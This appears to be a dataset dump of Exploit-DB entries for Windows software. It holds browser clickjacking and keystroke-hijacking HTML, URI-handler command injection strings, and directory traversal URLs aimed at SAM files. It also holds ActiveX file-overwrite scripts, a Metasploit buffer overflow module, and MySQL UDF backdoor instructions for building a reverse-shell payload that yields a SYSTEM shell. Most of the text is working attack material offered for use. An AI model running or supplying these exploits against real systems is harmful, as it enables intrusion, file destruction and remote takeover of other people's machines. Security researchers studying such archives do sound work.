deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14447
Description: Multiple Browsers (FF3.6.7/SM 2.0.6) - Clickjacking
Type: remote
Platform: windows
Date: 2010-07-23
Author: Pouya Daneshmand

Exploit:
<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<title>FF3.6.7/SM 2.0.6 ClickJacking Vulnerability</title>
</head><body>

<div id="mydiv" onmouseover="document.location='http://www.mozilla.org';" style="border: 0px none ; background: rgb(0, 0, 0) none repeat scroll 0% 0%; position: absolute; width: 2px; height: 2px; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"></div>
<script>
function clickjack_armor(evt)
{
	clickjack_mouseX=evt.pageX?evt.pageX:evt.clientX;
	clickjack_mouseY=evt.pageY?evt.pageY:evt.clientY;
	document.getElementById('mydiv').style.left=clickjack_mouseX-1;
	document.getElementById('mydiv').style.top=clickjack_mouseY-1;
}
</script>
<center>
<br>
<center><h1><font face="Calibri">Firefox 3.6.7 / SeaMonkey 2.0.6 Clickjacking Vulnerability</font></h1>
 <p> </p>
<div style="border-top-style: solid; border-top-width: 1px; padding-top: 1px">
	<b><br><br>

	<a href="http://www.Securitylab.ir" onclick="clickjack_armor(event)"> Go 
	to the http://www.Securitylab.ir : (http://www.mozilla.org)</a></b></div>
<div style="border-bottom-style: solid; border-bottom-width: 1px; padding-bottom: 1px">
 <p> </div>
<p> </p>
</center>
<div style="border-top-style: solid; border-top-width: 1px; border-bottom-style: solid; border-bottom-width: 1px; padding-top: 1px; padding-bottom: 1px">
	<b><font face="Calibri">Pouya Daneshmand, Securitylab.ir</font></b></div>

</center></body></html>
Exploit-DB #589
Description: Multiple Browsers - Tabbed Browsing
Type: remote
Platform: windows
Date: 2004-10-22
Author: Jakob Balle

Exploit:
<b>Test Your Browser</b><br> 
      <br> 
      Open the link below in a new tab, then try to type data into form fields on the CitiBank website.<br> 
      <br> 
      <a href="http://www.citibank.com/" onMouseOver="setInterval('document.myform.userinput.focus();', 10);">Open this Link in New Tab</a><br> 
      <br> 
      <form name="myform"> 
        <b>Result: (Keystrokes you pressed on the CitiBank website.)</b><br> 
        <textarea name="userinput" rows="3">&lt;/textarea&gt; 
      </form> 

// milw0rm.com [2004-10-22]
Exploit-DB #30381
Description: Multiple Browsers - URI Handlers Command Injection
Type: remote
Platform: windows
Date: 2007-07-25
Author: Billy Rios

Exploit:
source: https://www.securityfocus.com/bid/25053/info

Multiple browsers are prone to vulnerabilities that let attackers inject commands through various protocol handlers.

Exploiting these issues allows remote attackers to pass and execute arbitrary commands and arguments through processes such as 'cmd.exe' by employing various URI handlers.

An attacker can exploit these issues to carry out various attacks by executing arbitrary commands on a vulnerable computer.

Exploiting these issues would permit remote attackers to influence command options that can be called through protocol handlers and to execute commands with the privileges of a user running the application. Successful attacks may result in a variety of consequences, including remote unauthorized access.

Mozilla Firefox 2.0.0.5, 3.0a6 and Netscape Navigator 9 are reported vulnerable to these issues. Other versions of these browsers and other vendors' browsers may also be affected. 

mailto:%00%00../../../../../../windows/system32/cmd".exe ../../../../../../../../windows/system32/calc.exe " - " blah.bat

nntp:windows/system32/calc.exe%20"%20-%20"%20blah.bat

news:windows/system32/calc.exe%20"%20-%20"%20blah.bat

snews:windows/system32/calc.exe%20"%20-%20"%20blah.bat

telnet:windows/system32/calc.exe%20"%20-%20"%20blah.bat

telnet:// rundll32.exe url.dll,TelnetProtocolHandler %l

news:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1

nntp:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1

snews:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1

mailto:// C:\lotus\notes\notes.exe /defini %1
Exploit-DB #32711
Description: Multiple CA Service Management Products - Remote Command Execution
Type: remote
Platform: windows
Date: 2009-01-07
Author: Michel Arboi

Exploit:
source: https://www.securityfocus.com/bid/33161/info

Multiple CA Service Management products are prone to a vulnerability that attackers can leverage to execute arbitrary commands. This issue is the result of insufficient access restrictions.

Successful attacks can compromise the affected application and possibly the underlying computer.

The following applications are vulnerable:

Service Metric Analysis 11.0, 11.1, and 11.1 SP1
Service Level Management 3.5 

Submitting the following command through netcat or telnet is sufficient to exploit this issue:

[ipconfig /all]
Exploit-DB #23209
Description: mutant penguin mpweb pro 1.1.2 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-10-01
Author: GamaSec Security

Exploit:
source: https://www.securityfocus.com/bid/8745/info

It has been reported that MPWeb PRO may be prone to a directory traversal vulnerability that may allow an attacker to traverse outside the server root directory by using '/./../' character sequences. The issue is caused by insufficient sanitization of user-supplied input.

This vulnerability may be successfully exploited to gain sensitive information about a vulnerable host that could be used to launch further attacks against the system.

MPWeb PRO version 1.1.2 has been reported to be affected by this issue, however other versions may be vulnerable as well. 

http://www.example.com/./../mpweb.ini
http://www.example.com/./.././.././../winnt/repair/sam
Exploit-DB #6870
Description: MW6 Aztec - ActiveX 'Aztec.dll' Remote Insecure Method
Type: remote
Platform: windows
Date: 2008-10-29
Author: DeltahackingTEAM

Exploit:
ï»¿<!--
By Dr.Pantagon
DeltaSecurityCenter
www.DeltaSecurity.ir
Description : Aztec ActiveX
ver : 3.0.0.1
CopyRight : MW6 Technologies, Inc. 
Download Link : http://www.mw6tech.com/aztec/MW6Aztec.ZIP

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 
This control contains two methods SaveAsBMP(); And SaveAsWMF();

Sub SaveAsWMF (
 	ByVal FileName  As String 
)

AND

Sub SaveAsWMF (
 	ByVal FileName  As String 
)
you can see this problem to all product this company
-->
<html>
Test Exploit page
<object classid='clsid:F359732D-D020-40ED-83FF-F381EFE36B54' id='target' ></object>
<script language='vbscript'>

targetFile = "C:\WINDOWS\system32\Aztec.dll"
prototype  = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid     = "AZTECLib.MW6Aztec"
argCount   = 1

arg1="c:\windows\system_.ini"

target.SaveAsBMP arg1 
'target.SaveAsWMF arg1 


</script>

# milw0rm.com [2008-10-29]
Exploit-DB #6871
Description: MW6 Barcode - ActiveX 'Barcode.dll' Insecure Method
Type: remote
Platform: windows
Date: 2008-10-29
Author: DeltahackingTEAM

Exploit:
ï»¿<!--
By Dr.Pantagon
DeltaSecurityCenter
www.DeltaSecurity.ir
Description : 1D Barcode ActiveX
ver : 3.0.0.1
CopyRight : MW6 Technologies, Inc. 
Download Link : http://www.mw6tech.com/barcode/try/MW6Barcode.zip

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 
This control contains two methods SaveAsBMP(); And SaveAsWMF();

Sub SaveAsWMF (
 	ByVal FileName  As String 
)

AND

Sub SaveAsWMF (
 	ByVal FileName  As String 
)
you can see this problem to all product this company
-->
<html>
<object classid='clsid:14D09688-CFA7-11D5-995A-005004CE563B' id='target' >
	<param name="BackColor" value="16777215">
	<param name="BarHeight" value="1,5">
	<param name="BarColor" value="0">
	<param name="BorderStyle" value="0">
	<param name="CheckDigit" value="0">
	<param name="CheckDigitToText" value="0">
	<param name="CodaBarStartChar" value="65">
	<param name="CodaBarStopChar" value="66">
	<param name="Data" value="1234">
	<param name="NarrowBarWidth" value="0,07">
	<param name="Orientation" value="0">
	<param name="ShowText" value="1">
	<param name="Supplement" value="">
	<param name="SupplementGap" value="0,5">
	<param name="SupplementType" value="0">
	<param name="SymbologyType" value="2">
	<param name="UPCESystem" value="0">
	<param name="Wide2NarrowRatio" value="2">
	<param name="FontName" value="Arial">
	<param name="FontItalic" value="0">
	<param name="FontStrikeOut" value="0">
	<param name="FontUnderline" value="0">
	<param name="FontWeight" value="400">
	<param name="FontHeight" value="24">
</object>
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\Barcode.dll"
prototype  = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid     = "BARCODELib.MW6Barcode"
argCount   = 1
arg1="c:\windows\system_.ini"

target.SaveAsBMP arg1 

'target.SaveAsWMF arg1 

</script>

# milw0rm.com [2008-10-29]
Exploit-DB #6872
Description: MW6 Datamatrix - ActiveX 'Datamatrix.dll' Insecure Method
Type: remote
Platform: windows
Date: 2008-10-29
Author: DeltahackingTEAM

Exploit:
ï»¿<!--
By Dr.Pantagon
DeltaSecurityCenter
www.DeltaSecurity.ir
Description : DataMatrix ActiveX
ver : 3.0.0.1
CopyRight : MW6 Technologies, Inc. 
Download Link : http://www.mw6tech.com/datamatrix/try/MW6DataMatrix.zip

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 
This control contains two methods SaveAsBMP(); And SaveAsWMF();

Sub SaveAsWMF (
 	ByVal FileName  As String 
)

AND

Sub SaveAsWMF (
 	ByVal FileName  As String 
)
you can see this problem to all product this company
-->
<html>
Test Exploit page
<object classid='clsid:DE7DA0B5-7D7B-4CEA-8739-65CF600D511E' id='target' ></object>
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\DataMatrix.dll"
prototype  = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid     = "DATAMATRIXLib.MW6DataMatrix"
argCount   = 1

arg1="c:\windows\system_.ini"

target.SaveAsBMP arg1 
'target.SaveAsWMF arg1

</script>

# milw0rm.com [2008-10-29]
Exploit-DB #6873
Description: MW6 PDF417 - ActiveX 'MW6PDF417.dll' Remote Insecure Method
Type: remote
Platform: windows
Date: 2008-10-29
Author: DeltahackingTEAM

Exploit:
ï»¿<!--
By Dr.Pantagon
DeltaSecurityCenter
www.DeltaSecurity.ir
Description : PDF417 ActiveX
ver : 3.0.0.1
CopyRight : MW6 Technologies, Inc. 
Download Link :http://www.mw6tech.com/pdf417/try/MW6PDF417.zip

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 
This control contains two methods SaveAsBMP(); And SaveAsWMF();

Sub SaveAsWMF (
 	ByVal FileName  As String 
)

AND

Sub SaveAsWMF (
 	ByVal FileName  As String 
)
you can see this problem to all product this company
-->
<html>
Test Exploit page
<object classid='clsid:90D2A875-5024-4CCD-80AA-C8A353DB2B45' id='target' >
	<param name="BackColor" value="16777215">
	<param name="BarColor" value="0">
	<param name="BorderStyle" value="0">
	<param name="Data" value="12">
	<param name="ModuleWidth" value="0,07">
	<param name="Orientation" value="0">
	<param name="SecurityLevel" value="2">
	<param name="PDFMode" value="0">
	<param name="PDFColumns" value="3">
	<param name="PDFRows" value="0">
	<param name="TruncateSymbol" value="0">
	<param name="HandleTilde" value="0">
	<param name="Y2XRatio" value="3">
</object>
<script language='vbscript'>
targetFile = "C:\WINDOWS\system32\MW6PDF417.dll"
prototype  = "Sub SaveAsBMP ( ByVal FileName As String )"
memberName = "SaveAsBMP"
progid     = "MW6PDF417Lib.PDF417"
argCount   = 1

arg1="c:\windows\system_.ini"

target.SaveAsBMP arg1 
'target.SaveAsWMF arg1

</script>

# milw0rm.com [2008-10-29]
Exploit-DB #4420
Description: MW6 Technologies QRCode ActiveX 3.0 - Remote File Overwrite
Type: remote
Platform: windows
Date: 2007-09-18
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>MW6 Technologies QRCode ActiveX 3.0 (MW6QRCode.dll) Remote File Overwrite</b>
 url: www.mw6tech.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Description:
 This control contains two methods, "SaveAsBMP()" and "SaveAsWMF()", which
 write to a file specified as an argument.
 These can be exploited to overwrite and corrupt arbitrary files on the
 system in the context of the currently logged-on user.

 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller,data
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data
 KillBitSet: Falso</b> 
-----------------------------------------------------------------------------
<object classid='clsid:3BB56637-651D-4D1D-AFA4-C0506F57EAF8' id='test' width='24' height='24'></object>

<select style="width: 404px" name="Pucca">
  <option value = "SaveAsBMP">SaveAsBMP</option>
  <option value = "SaveAsWMF">SaveAsWMF</option>

</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "SaveAsBMP" then
     test.SaveAsBMP "c:\windows\system_.ini"
     MsgBox "Exploit completed."
   elseif Pucca.value = "SaveAsWMF" then
     test.SaveAsWMF "c:\windows\system_.ini"
     MsgBox "Exploit completed."
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-18]
Exploit-DB #22785
Description: MyServer 0.4.1/0.4.2 - HTTP Server Directory Traversal
Type: remote
Platform: windows
Date: 2003-06-17
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/7944/info

The MyServer HTTP server is prone to a file disclosure vulnerability. Encoded directory traversal sequences may be used to break out of the web root directory. Attackers may gain access to files that are readable by the web server as a result.

http://www.example.com/%2e%2e/%2e%2e/%2e%2e
http://www.example.com/%2e%2e/%2e%2e/%2e%2ewinnt/repair/sam._
http://www.example.com/%2e%2e/logs
http://www.example.com/%2e%2e/system
Exploit-DB #24600
Description: myserver 0.7 - Directory Traversal
Type: remote
Platform: windows
Date: 2004-09-15
Author: scrap

Exploit:
source: https://www.securityfocus.com/bid/11189/info

MyServer is reported prone to a remote directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data. This vulnerability results in improper access to potentially sensitive files located outside of the document root of the web server. 

MyServer version 0.7 is reportedly affected by this issue, however, other versions may be vulnerable as well.

"GET ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../"
Exploit-DB #25646
Description: MyServer 0.8 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2005-05-10
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/13578/info

myServer is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue reportedly affects myServer version 0.8 for Microsoft Windows; other versions may also be affected. 

http://www.example.com/.../.../"onmouseover="[code]"
Exploit-DB #23083
Description: MySQL - 'Stuxnet Technique' Windows Remote System
Type: remote
Platform: windows
Date: 2012-12-02
Author: kingcope

Exploit:
MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit
Version 1.0
By Kingcope
In the Year of 2012

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23083.zip

use this on a fast scan server!

How to use.
pnscan:

the file "accounts" holds the user/password combinations to try.
hits are saved in the file "jack.pot".

#make lnx
#./pnscan 192.168.0.0/16 3306

exploit:
#perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

user root on windows will mostly succeed.

/Kingcope
Exploit-DB #3274
Description: MySQL 4.x/5.0 (Windows) - User-Defined Function Command Execution
Type: remote
Platform: windows
Date: 2007-02-06
Author: Marco Ivaldi

Exploit:
-- raptor_winudf.sql - A MySQL UDF backdoor kit for Windows
-- Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>
--
-- This is a MySQL backdoor kit for Windows based on the UDFs (User Defined
-- Functions) mechanism. Use it to spawn a reverse shell (netcat UDF on port 
-- 80/tcp) or to execute single OS commands (exec UDF). Don't forget to edit
-- the MySQL bin path below according to your target's configuration.
--
-- Thanks to KDM for asking me to do research on this interesting subject!
--
-- See also:
-- http://www.0xdeadbeef.info/exploits/raptor_udf.c
-- http://www.0xdeadbeef.info/exploits/raptor_udf2.c
--
-- Tested on:
-- MySQL 4.0.18-win32 (running on Windows XP SP2)
-- MySQL 4.1.22-win32 (running on Windows XP SP2)
-- MySQL 5.0.27-win32 (running on Windows XP SP2)
--
-- E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys

download:
http://www.0xdeadbeef.info/exploits/raptor_winudf.tgz
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3274.tgz (02062007-raptor_winudf.tgz)

# milw0rm.com [2007-02-06]
Exploit-DB #23073
Description: MySQL 5.1/5.5 (Windows) - 'MySQLJackpot' Remote Command Execution
Type: remote
Platform: windows
Date: 2012-12-02
Author: kingcope

Exploit:
***
FARLiGHT ELiTE HACKERS LEGACY R3L3ASE
***

Attached is the MySQL Windows Remote Exploit (post-auth, udf
technique) including the previously released mass scanner.
The exploit is mirrored at the farlight website http://www.farlight.org.

Oracle MySQL on Windows Remote SYSTEM Level Exploit zeroday
All owned By Kingcope

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23073.tar.gz

Installation Instructions
=============================

1. Install mysql client libraries and headers (UNIX)
RedHat based (e.g. CentOS):
yum install mysql mysql-devel

2. Compile the standalone exploit
issue commands:
gcc mysqljackpot.c -o mysqljackpot -L/usr/lib/mysql -lmysqlclient

3. Compile the reverse shell payload (this is required!)
required because the connect back ip and port are hardcoded in the dll:
use mingw on windows or wine
change REVERSEIP and REVERSEPORT to suit your needs. If you change REVERSEPORT you have
to change the port in mysqljackpot.c too (default port: 443).
issue commands:
set PATH=%PATH%;c:\MinGW\bin\
gcc -c payload.c
gcc -shared -o payload.dll payload.o -lws2_32
copy the payload.dll into the mysqljackpot exploit folder

4. Run The Exploit
./mysqljackpot -u root -p "" -t 99.99.99.99
A valid database admin user and his password are required
for the exploit to work properly.
This exploit is especially useful when used in connection
to a MySQL login scanner, see scanner/README.mysql inside this package.
Be sure to have the firewall open on the desired reverse port
on the attacking machine.

5. Enjoy your SYSTEM Shell!!!


Yours Sincerely,

-- Kingcope
Exploit-DB #16701
Description: MySQL yaSSL (Windows) - SSL Hello Message Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: mysql_yassl_hello.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
				implementation bundled with MySQL <= 6.0. By sending a specially crafted
				Hello packet, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-0226' ],
					[ 'OSVDB', '41195'],
					[ 'BID', '27140' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'MySQL 5.0.45-community-nt',    { 'Ret' => 0x008b9d45 } ],
					[ 'MySQL 5.1.22-rc-community',    { 'Ret' => 0x008b04c9 } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jan 4 2008'))

		register_options([ Opt::RPORT(3306) ], self)
	end

	def exploit
		connect

		sock.get_once

		req_uno =  [0x01000020].pack('V')

		req_dos =  [0x00008daa].pack('V') + [0x40000000].pack('V')
		req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
		req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
		req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
		req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
		req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)
		req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')
		req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)

		print_status("Trying target #{target.name}...")

		sock.put(req_uno)
		sock.put(req_dos)

		handler
		disconnect
	end

end
Exploit-DB #21710
Description: MyWebServer 1.0.2 - Long HTTP Request HTML Injection
Type: remote
Platform: windows
Date: 2002-08-14
Author: D4rkGr3y

Exploit:
source: https://www.securityfocus.com/bid/5470/info

MyWebServer is an application and web server for Microsoft Windows operating systems.

If an oversized HTTP request is received by MyWebServer, some content provided as a URL is included in the page generated. An attacker may construct a malicious URL, and entice a user of the site into following it. Injected content will then be rendered in the context of the vulnerable site.

The consequences of exploitation will be highly dependent on the nature of the hosted site.

This vulnerability has been reported in MyWebServer version 1.0.2. Earlier versions may share this vulnerability, this has not however been confirmed.

http://vuln_host/[223b_of_any_data]<font%20size=50>DEFACED<!--//--